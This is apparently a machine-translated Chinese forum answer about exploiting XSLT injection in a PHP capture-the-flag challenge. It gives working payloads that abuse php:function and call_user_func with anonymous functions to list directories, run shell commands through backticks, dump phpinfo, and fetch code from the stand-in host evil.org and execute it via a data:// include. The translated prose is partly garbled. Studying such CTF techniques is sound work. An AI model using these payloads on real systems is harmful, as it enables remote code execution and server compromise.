注意:写完这个答案后,我开始怀疑你是否可以通过可用的攻击向量传递匿名函数。我把这个答案留在这里,如果你愿意的话,你可以试试。
嗯...鉴于您描述的场景,我将尝试利用call_user_func()
,preg_replace_callback()
或1的力量,结合匿名函数。usort()
如果您可以使用任何接受回调的函数,那么您几乎可以获得 PHP 的全部潜力。
一些使用示例call_user_func()
:
示例 1
调用scandir()
:
<xsl:value-of select="php:function('call_user_func', function(){
return print_r(scandir('..'), true);
})"/>
示例 2
由于这是一个捕获标志设置,请检查是否启用了Execution Operator(我对此表示怀疑,但值得一试):
<xsl:value-of select="php:function('call_user_func', function(){
return `ls -al`;
})"/>
鉴于call_user_func()
允许构建您自己的功能,您也可以做其他事情。
示例 3
检查服务器的配置:
<xsl:value-of select="php:function('call_user_func', function(){
ob_start();
phpinfo();
return ob_get_clean();
})"/>
示例 4打开一个套接字,发出一个 HTTP 请求并通过数据流包装器
将结果作为 PHP 文件包含在内,这可能允许您绕过一些安全限制:
<xsl:value-of select="php:function('call_user_func', function(){
ob_start();
error_reporting(~0);
ini_set(\'display_errors\', true);
$errno = 0;
$errstr = \'\';
if (false === ($fp = fsockopen(\'evil.org\', 80, $errno, $errstr, 60))) {
return \'Failed opening socket (\'.$errno.\')\': \'.$errstr;
}
fwrite($fp, "GET / HTTP/1.1\r\nHost: evil.org\r\nConnection: Close\r\n\r\n\");
$out = \'\';
while (!feof($fp)) {
$out .= fgets($fp, 128);
}
fclose($fp);
include(\'data://text/plain;base64,\'.base64_encode($out));
echo "\n\nOk\n";
return ob_get_clean();
})"/>
注意:如果在上面的代码示例\'
中不起作用,请尝试将其替换为'
.
如果您不能include
远程内容,则必须以字符串的形式提供所有必需的功能,这不太方便,但功能不一定不那么强大。
1存在接受回调函数的其他函数,因此,如果此答案中提到的函数被阻止,则在找到可用的函数之前,这是一个反复无常的问题。